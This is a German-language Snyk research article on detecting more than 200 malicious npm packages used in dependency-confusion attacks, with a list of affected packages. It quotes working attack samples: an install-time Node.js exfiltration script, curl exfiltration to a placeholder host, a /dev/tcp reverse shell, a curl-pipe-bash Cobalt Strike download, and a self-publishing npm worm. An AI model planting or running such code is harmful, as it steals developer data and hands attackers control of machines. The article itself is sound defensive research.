Skip to main content

Snyk entdeckt über 200 schädliche npm-Pakete, darunter Dependency-Confusion-Angriffe mit Cobalt-Strike-Abhängigkeiten

Artikel von
Headshot of Kirill Efimov

Kirill Efimov

feature cobalt strike

24. Mai 2022

0 Min. Lesezeit

Snyk hat kürzlich über 200 schädliche Pakete in der npm-Registry entdeckt. Wir wissen, dass die Alarmmüdigkeit bei Sicherheitslücken für Entwickler ein Problem ist. In diesem Artikel geht es jedoch nicht um die üblichen Fälle von Typosquatting oder zufälligen schädlichen Paketen. Stattdessen stellen wir gezielte Angriffe auf Unternehmen vor, die Snyk erkannt hat, und teilen unsere Erkenntnisse.

In diesem Beitrag erklären wir nicht, was Dependency Confusion ist und warum sie sich dramatisch auf das JavaScript-Ökosystem (und insbesondere die npm-Registry) auswirkt. Stattdessen konzentrieren wir uns auf den Ansatz von Snyk und darauf, welche schädlichen Pakete wir kürzlich entdeckt haben. Wenn Sie eine Einführung in Dependency Confusion und die damit verbundenen Risiken benötigen, empfehlen wir Ihnen Alex Birsans Artikel Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies sowie Snyks eigene Offenlegung einer gezielten Dependency-Attack-Simulation, die auf frischer Tat entdeckt wurde.

Außerdem möchten wir darüber sprechen, wie Bug-Bounty-Forschende und Red-Teamer zu einem verunreinigten npm-Ökosystem beitragen, falsche Sicherheitsmeldungen erzeugen und die Lage noch problematischer machen, als sie vor dem Aufkommen von Dependency-Confusion-Angriffsvektoren war.

In letzter Zeit konzentrieren sich viele Unternehmen auf die Supply-Chain-Sicherheit, wobei die Erkennung schädlicher Pakete eine wichtige Rolle spielt. Und wir sind sicher, dass npm dabei die meiste Aufmerksamkeit erhalten hat. Intern haben wir viel über npm diskutiert: Können wir bessere Ergebnisse erzielen als andere Anbieter, die regelmäßig über schädliche Pakete mit geringen Auswirkungen berichten? Wir beschlossen, es auszuprobieren und einen einfachen Ansatz umzusetzen, um herauszufinden, wie viele schädliche Pakete wir damit erkennen können. Anschließend haben wir den Ansatz lange optimiert. Als schließlich das 100. schädliche Paket in die Snyk Vulnerability Database aufgenommen wurde, wussten wir, dass wir darüber schreiben mussten. Doch zunächst sehen wir uns an, wie man schädliche Pakete in einer Registry wie npm aufspüren kann.

Schädliche Pakete in der npm-Registry finden

Zunächst mussten wir den Umfang und die Ziele dieser Sicherheitsforschung festlegen:

  1. Wir haben uns ausschließlich auf schädliche Logik zur Installationszeit konzentriert. Also nur auf das, was während npm install geschieht. Schädliche Skripte zur Laufzeit liegen außerhalb des Untersuchungsumfangs und werden in einer künftigen Fallstudie behandelt.

  2. Die Anzahl falsch-positiver Signale sollte überschaubar bleiben. Wir legten fest, dass ein Sicherheitsanalyst alle Hinweise in höchstens einer Arbeitsstunde sichten können sollte.

  3. Der Collector sollte modular sein. Er wurde bereits mehrfach weiterentwickelt und wird es auch weiterhin. Einige Erkennungstechniken kamen hinzu, andere wurden aufgrund von Punkt 2 entfernt.

  4. Als ersten Ansatz entschieden wir uns für rein statische Analysen. Den dynamischen Teil behandeln wir in einer anderen Veröffentlichung.

Es ist wichtig festzulegen, was wir als schädliches Verhalten einstufen. Das Öffnen einer Reverse Shell oder das Ändern von Dateien außerhalb des Projektordners ist beispielsweise schädliches Verhalten.

Wir sind jedoch auch der Ansicht, dass ein Paket als schädlich gelten kann, wenn es personenbezogene Informationen (oder Daten, die personenbezogene Informationen enthalten können) exfiltriert. Beispiele:

  • Ein Paket sendet eine Geräte-GUID = nicht schädlich– Eine GUID enthält keine personenbezogenen Daten und wird häufig verwendet, um die eindeutige Anzahl der Paketinstallationen zu ermitteln.

  • Ein Paket sendet den Pfad des Anwendungsverzeichnisses = schädlich – Anwendungsverzeichnispfade enthalten häufig den Namen des aktuellen Benutzers, der aus Vor- und Nachnamen bestehen kann.

Das zugrunde liegende System besteht aus:

  1. Scraping-Logik zum Abrufen von Informationen über neu hinzugefügte und geänderte Pakete.

  2. Tagging-Logik, die Sicherheitsanalysten sinnvolle Metadaten bereitstellt.

  3. Sortierlogik, um Hinweise auf schädliche Pakete anhand des vorherigen Schritts zu priorisieren.

Das Collector-System gibt YAML-Dateien aus, die als Datengrundlage für Hinweise dienen. Ein Sicherheitsanalyst prüft sie anschließend und ordnet sie einer von drei möglichen Kategorien zu:

  • Gut – Pakete ohne verdächtiges Verhalten. Sie dienen uns als Beispiele für nicht schädliches Verhalten.

  • Schlecht – Schädliche Pakete.

  • Ignoriert – Wahrscheinlich nicht schädliche Pakete, deren Verhalten zur Installationszeit jedoch zu verbreitet oder zu komplex ist, um als Muster für künftige Fälle zu dienen.

Aufklärung in der npm-Registry zum Sammeln von Paketinformationen

Gemäß unserer ersten Anforderung müssen wir alle neuen und aktualisierten Pakete berücksichtigen, sofern sie Installationsskripte wie preinstall, install oder postinstall enthalten.

Die npm-Registry verwendet im Hintergrund CouchDB. Über replicate.npmjs.com stellt sie CouchDB praktischerweise öffentlich zur Verfügung. Die Datenerfassung ist daher so einfach wie das Abfragen des Endpunkts _changes in aufsteigender Reihenfolge. Konkret:

https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>

Damit erhalten Sie eine Liste aktualisierter und neu erstellter Pakete ab der Ereignis-ID, die wir beim vorherigen Collector-Durchlauf erhalten haben.

Zusätzlich verwenden wir die Endpunkte https://registry.npmjs.org/, um Metadaten zu jedem Paket in der Liste abzurufen, und https://api.npmjs.org/downloads, um die Anzahl der Paket-Downloads zu ermitteln.

Bei der Datenerfassung gibt es nur einen kniffligen Teil: Wir möchten Installationsskripte aus einem Paket-Tarball extrahieren. Ein durchschnittlicher npm-Paket-Tarball ist weniger als ein Megabyte groß, manchmal sind diese Dateien jedoch riesig und mehrere Hundert Megabyte groß. Zum Glück sind TAR-Archive so strukturiert, dass wir sie als Stream verarbeiten können. Wir laden ein Paketarchiv einfach so lange herunter, bis wir die gesuchte Datei erhalten, und trennen dann die Verbindung. Das spart viel Zeit und Netzwerkverkehr. Dafür verwenden wir das npm-Paket tar-stream. An dieser Stelle möchten wir Mathias Buus danken, der wesentlich zur Entwicklung von JavaScript und Node.js beigetragen hat und zahlreiche Open-Source-npm-Pakete betreut, die Entwickler im Alltag unterstützen.

Schädliche Pakete in der npm-Registry kennzeichnen

Nun liegen uns alle Metadaten zum Paket vor: Versionsverlauf, Name des Maintainers, Inhalt der Installationsskripte, Abhängigkeiten und mehr. Wir können mit der Anwendung von Regeln beginnen. Hier zeige ich einige Regeln, die sich meiner Erfahrung nach besonders bewährt haben:

  • bigVersion – Wenn die Hauptversion eines Pakets mindestens 90 beträgt. Bei einem Dependency-Confusion-Angriff muss das herunterzuladende schädliche Paket eine höhere Version als das Original haben. Wie wir später sehen werden, haben schädliche Pakete häufig Versionen wie 99.99.99.

  • yearNoUpdates – Ein Paket wird im laufenden Jahr zum ersten Mal aktualisiert. Dies ist ein wichtiges Signal dafür, dass ein Paket eine Weile nicht gepflegt und dann von einem Angreifer kompromittiert wurde.

  • noGHTagLastVersion – Eine neue Paketversion hat im zugehörigen GitHub-Repository keinen Tag, obwohl die vorherige Version einen hatte. Dieses Signal greift, wenn ein npm-Benutzerkonto kompromittiert wurde, nicht aber ein GitHub-Konto.

  • isSuspiciousFile – Wir verwenden eine Reihe regulärer Ausdrücke, um potenziell schädliche Installationsskripte zu erkennen. Sie erkennen gängige Verschleierungstechniken, die Verwendung von Domains wie canarytokens.com oder ngrok.io, Hinweise auf IP-Adressen und mehr.

  • isSuspiciousScript – Eine Reihe regulärer Ausdrücke erkennt potenziell schädliche Skripte in der Datei package.json. Wie wir herausgefunden haben, wird beispielsweise “postinstall: “node .” häufig in schädlichen Paketen verwendet.

Das zugrunde liegende System verfügt über weitere Tags, aber die obige Liste vermittelt einen guten Eindruck von der Funktionsweise der Collector-Logik.

Daten zu npm-Paketen sortieren

Wir möchten den Prozess weiter automatisieren, statt Sicherheitsanalysten alles manuell prüfen zu lassen. Wurde ein Installationsskript in der Vergangenheit bereits als gut oder schlecht eingestuft, klassifizieren wir neue Fälle automatisch entsprechend. Das funktioniert vor allem bei nicht schädlichem Verhalten wie “postinstall”: “webpack” oder “postinstall”: “echo thanks for using please donate” und hilft, das Rauschen zu reduzieren.

Außerdem priorisieren wir bestimmte Tags, damit sie vor anderen bearbeitet werden, da sie eine höhere Trefferquote bei echten positiven Ergebnissen liefern. Die höchste Priorität haben isSuspiciousFile und isSuspiciousScript.

Manuelle Sicherheitsanalyse

Der letzte Schritt des Erkennungsprozesses ist die manuelle Analyse. Sie umfasst mehrere Phasen:

  1. Automatisch sortierte und hoch priorisierte Hinweise überprüfen. Sie sind am ehesten schädlich. Nicht sortierte Hinweise einzeln durchgehen, um neue Regeln für schädliche oder nicht schädliche Fälle zu erkennen.

  2. Die Collector-Logik entsprechend Punkt 2 aktualisieren.

  3. Jedes schädliche Paket in die Snyk Vulnerability Database aufnehmen.

  4. In manchen Fällen, etwa bei gxm-reference-web-auth-server, scheint ein Paket ungewöhnliche schädliche Logik zu enthalten. Dann investiert ein Analyst mehr Zeit in eine eingehende Analyse und teilt die Erkenntnisse mit der Community und den Snyk-Nutzern.

Mit diesem Ablauf können wir den Collector täglich verbessern und den Prozess automatisieren.

Welche schädlichen npm-Pakete konnten wir erkennen?

Bis heute hat das System mehr als 200 npm-Pakete mit eindeutig echten positiven Erkennungsergebnissen gefunden. Sie stellen außerdem eine konkrete Bedrohung durch Dependency-Confusion-Angriffe dar. Wir möchten diese Funde weiter kategorisieren und verschiedene Verhaltensweisen und Konzepte veranschaulichen, die Angreifer eingesetzt haben.

Schädliche Pakete, die Daten exfiltrieren

Eine der häufigsten Arten schädlicher Pakete ist die Datenexfiltration über HTTP- oder DNS-Anfragen. Oft handelt es sich um eine modifizierte, kopierte Version des ursprünglichen Skripts aus der Studie zu Dependency Confusion. Manchmal enthalten die Pakete Kommentare wie „Dieses Paket dient Forschungszwecken“ oder „Es werden keine sensiblen Daten abgerufen“. Lassen Sie sich davon nicht täuschen: Die Pakete sammeln personenbezogene Daten und senden sie über das Netzwerk. Das sollte niemals passieren.

Ein typisches Beispiel für ein solches Paket aus den Funden von Snyk:

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "<malicious host>", 
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Wir haben Versuche beobachtet, folgende Informationen zu exfiltrieren (von vergleichsweise harmlos bis am gefährlichsten sortiert):

  • Name des aktuellen Benutzers

  • Pfad zum Home-Verzeichnis

  • Pfad zum Anwendungsverzeichnis

  • Liste der Dateien in verschiedenen Verzeichnissen, etwa im Home- oder Anwendungsarbeitsverzeichnis

  • Ergebnis des Systembefehls ifconfig

  • Datei package.json der Anwendung

  • Umgebungsvariablen

  • Die Datei .npmrc

Eine interessante Ergänzung zu dieser Gruppe schädlicher Pakete sind solche mit einem install-Skript wie npm install http://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cache. Damit wird eindeutig der Pfad zum npm-Cache-Verzeichnis exfiltriert, das sich üblicherweise im Home-Verzeichnis des aktuellen Benutzers befindet. Zusätzlich wird jedoch ein Paket aus einer externen Quelle installiert. Nach unserer Erfahrung handelt es sich bei diesem externen Paket stets um ein einfaches Dummy-Paket ohne Logik oder Dateien. Vielleicht gelten jedoch auf dem Server regionale oder andere Bedingungen, oder das Paket wird nach einiger Zeit zu einem Cryptominer oder Trojaner.

In einigen Fällen fanden wir Hinweise auf Bash-Skripte wie dieses:

DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
curl "https://<malicious host>/?q=$DETAILS"

Das oben gezeigte Skript exfiltriert Informationen zur öffentlichen IP-Adresse sowie den Hostnamen und Benutzernamen.

Schädliche Pakete, die eine Reverse Shell starten

Eine weitere häufige Art schädlicher Pakete versucht, eine Reverse Shell zu starten. Das bedeutet, dass sich der angegriffene Rechner mit einem Remote-Server des Angreifers verbindet und diesem die Fernsteuerung ermöglicht. Die Umsetzung kann so einfach sein:

/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;

Oder sie ist komplexer und verwendet net.Socket oder andere Verbindungsmethoden.

Die größte Herausforderung bei dieser Kategorie besteht darin, dass die Logik zwar einfach erscheint, das tatsächliche schädliche Verhalten jedoch vollständig auf der Serverseite des Angreifers verborgen bleibt. Dennoch lässt sich die Auswirkung erkennen: Ein Angreifer kann die vollständige Kontrolle über den Computer übernehmen, auf dem das schädliche Paket installiert ist.

Wir haben beschlossen, eines dieser Pakete in einer Sandbox auszuführen. Dabei haben wir die folgenden Befehle aufgezeichnet:

  1. nohup curl -A O -o- -L http://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out& – lädt ein Skript vom schädlichen Server herunter und führt es aus.

  2. Das vom schädlichen Server heruntergeladene Skript legte sich im Verzeichnis /tmp ab und fragte sich dann alle 10 Sekunden selbst ab, um auf Updates des entfernten Angreifers zu warten.

  3. Nach einiger Zeit lud es eine Binärdatei herunter, bei der es sich laut VirusTotal um einen Cobalt-Strike-Trojaner handelt.

Dashboard für Sicherheitsscans: 15 von 63 Anbietern stufen eine ZIP-Datei als bösartig ein. Mehrere Cobalt-Strike-Erkennungen werden aufgeführt.

Der Einsatz von Trojanern in schädlichen npm-Paketen

In dieser Kategorie finden sich verschiedene Pakete, die unterschiedliche Command-and-Control-Agenten installieren und ausführen. Eine ausführlichere Beschreibung würde den Rahmen dieses Artikels sprengen. Wir empfehlen Ihnen daher, unseren aktuellen Artikel zum Reverse Engineering des Pakets gxm-reference-web-auth-server zu lesen. Darin werden die Erkenntnisse aus der ethischen Red-Team-Recherche erläutert. Der Artikel ist zugleich ein gutes Beispiel dafür, was sich in npm-Paketen dieser Kategorie von Angriffen durch Dependency Confusion verbergen kann. Außerdem zeigt er anschaulich, wie ein Red Team bei der Arbeit aufgespürt werden kann.

In einem weiteren interessanten Fall überprüften wir die Systemaufrufe der Sandbox. Dabei fiel uns einer besonders auf: Er startete einen abgekoppelten Prozess und führte einen Warteaufruf für 30 Minuten aus. Erst danach begann er mit seinen schädlichen Aktivitäten.

Streiche und Proteste in npm-Paketen aufspüren

Im März haben wir einen Beitrag über Protestware-npm-Pakete veröffentlicht. Darüber hinaus beobachteten wir verschiedene Versuche, YouTube-Videos, nicht jugendfreie Videos und andere Websites im Browser zu öffnen oder entsprechende Befehle sogar in Ihre Datei .bashrc einzufügen.

Der Beispielcode kann so einfach sein wie open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)<xxx> im Skript postinstall oder shell.exec(echo '\nopen https://<NSFW website>' >> ~/.bashrc) in einer JavaScript-Datei, die bei der Installation ausgeführt wird.

Ein weiteres potenziell schädliches Beispiel für ein Paket, das wir im Rahmen dieser Untersuchung entdeckt haben: Es prüft, ob eine Datei .npmrc vorhanden ist. Ist das der Fall, führt es npm publish aus und erstellt im Namen Ihres npm-Benutzers eine eigene Kopie. Wie Sie sehen, verhält es sich wie ein Wurm und kann unter bestimmten Umständen zu einer echten Bedrohung werden.

const fs = require('fs')
const faker = require('faker')
const child_process = require('child_process')
const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
faker.company.bsNoun()).toLowerCase()
let hasNpmRc = false
const read = (p) => {
  return fs.readFileSync(p).toString()
}
try {
  const npmrcFile = read(process.env.HOME + '/.npmrc')
  hasNpmRc = true
} catch(err) {
}
if (hasNpmRc) {
  console.log('Publishing new version of myself')
  console.log('My new name', pkgName)
  const pkgPath = __dirname + '/package.json'
  const pkgJSON = JSON.parse(read(pkgPath))
  pkgJSON.name = pkgName
  fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
  child_process.exec('npm publish')
  console.log('DONE')
}

Fazit und Empfehlungen

Bei Snyk setzen wir uns jeden Tag dafür ein, Open-Source-Software-Ökosysteme sicherer zu machen. Heute haben wir einige Varianten schädlicher npm-Pakete vorgestellt, doch die Liste ist keineswegs vollständig. Unsere Untersuchungen haben gezeigt, dass das npm-Ökosystem aktiv für verschiedene Supply-Chain-Angriffe genutzt wird. Wir empfehlen Ihnen, Tools wie Snyk zu verwenden, um sich als Entwickler oder Maintainer sowie Ihre Anwendungen und Projekte zu schützen.

Wenn Sie als Bug-Bounty-Jäger oder Red Teamer für Aufklärungsaktivitäten ein npm-Paket veröffentlichen müssen, empfehlen wir Ihnen, die Nutzungsbedingungen und rechtlichen Vorgaben von npm einzuhalten. Exfiltrieren Sie auf keinen Fall personenbezogene Daten (PII) und geben Sie den Zweck des Pakets ausdrücklich an – entweder in Kommentaren im Quellcode oder in der Paketbeschreibung. Wir haben einige legitime Forschungspakete beobachtet, die eindeutige Gerätekennungen wie node-machine-id übermittelten.

Starten Sie mit Capture-the-Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Challenges lösen.

Übersicht der zum Zeitpunkt der Veröffentlichung betroffenen Pakete

Abschließend möchten wir die Liste der Pakete veröffentlichen, die wir aufspüren konnten. Einige davon – möglicherweise sogar die meisten – wurden inzwischen aus der npm-Registry entfernt. Zum Zeitpunkt der Veröffentlichung dieser Untersuchung waren jedoch noch einige verfügbar.

git-en-boite-core

@seller-ui/products

git-en-boite-app

insomnia-plugin-simple-hmac-auth

selenium-applitools

api-extractor-test-01

@tilliwilli/npm-lifecycles

vfdp-ui-framework

klook-node-framework

next-plugin-normal

klook-node-framework-affiliate

@iwcp/nebula-ui

klook-tetris-server

react-dom-router-old

klook-ui

react-dom-router-compatibility

logquery

node-hawk-search

@klooks/klook-node-framework

ual-content-page

schema-render

npm_test_nothing

tetris-scripts

lbc-git

klook-node-framework-language

angieslist-composed-components

klook-node-framework-country

angieslist-gulp-build-tasks

klook-node-framework-currency

onepassword_events_api

klook-node-framework-device

on-running-script-context

klook-node-framework-logger

okbirthday2015

klook-node-framework-site

oidc-frontend

klook-node-framework-experiment

nucleus-wallet

klook-node-framework-cache

videojs-vtt

executables.handler

@commercialsalesandmarketing/contact-search

tracer.node

cap-common-pages

state.aggregator

coldstone-helpers

rce-techroom

rainbow-bridge-testing

acronis-ui-kit

npm-exec-noperm

activity-iframe-sdk

npmbulabula

angieslist-visitor-app-common

nozbedesktop

uitk-react-rating

nodejs-email

ldtzstxwzpntxqn

plugin-welcome

gxm-reference-web-auth-server

polymer-shim-styles

lznfjbhurpjsqmr

lexical-website-new

npm_protect_pkg

paper-toolbar

com.unity.xr.oculus

paytm-kafka-rest

katt-util

phoenix.site

workspace-hoist-all

assets-common

qjwt

bolt-styles

bigid-permissions

phub-dl

@uc-maps/api.react

api-extractor-test-01

@uc-maps/test

adroit-websdk-client

@uc-maps/test1

f0-utils

@uc-maps/boundaries-core.react

@uc-maps/boundaries-core.react

@uc-maps/geospatial

elysium-ui

@uc-maps/layer-select.react

portail-web

@uc-maps/maps.react

postinstall-dummy

@uc-maps/parcel-shapes

threatresponse

wf_ajax

pratikyadavh2

wf_apn

cap-products

wf_storage

promoaline

wf_scheduler

promohline

bigid-filter-recursive-parser

promofline

bigid-query-object-serialization

promoimmo

yo-code-dependencies-versions

promohlineupselling

abchdefntofknacuifnt

promotemplate

generator-code-dependencies-versions

ptmproc

@visiology-public-utilities/language-utils

quick-app-guide

finco

razer-xdk

azure-linux-tools

epic-games-self-service-portal

com.unity.xr.oculus

pg-ng-popover

@uieng/messaging-api

pco_api

jptest1

lyft-avidl

pegjs-override-action

pegjs-override-action

jinghuan-jsb

stripe-connect-rocketrides

kntl-digital3

flake8-holvi

@sorare-marketplace/components

volgactf

fc-gotcha

mb-blog

com.unity.searcher

orangeonion.buildtools

sixt

gatsby-plugin-added-by-parent-theme

r3corda

gulp-browserify-thin

got-hacked

eslint-plugin-seller-ui-eslint-plugin

qweasdzxc

@seller-ui/settings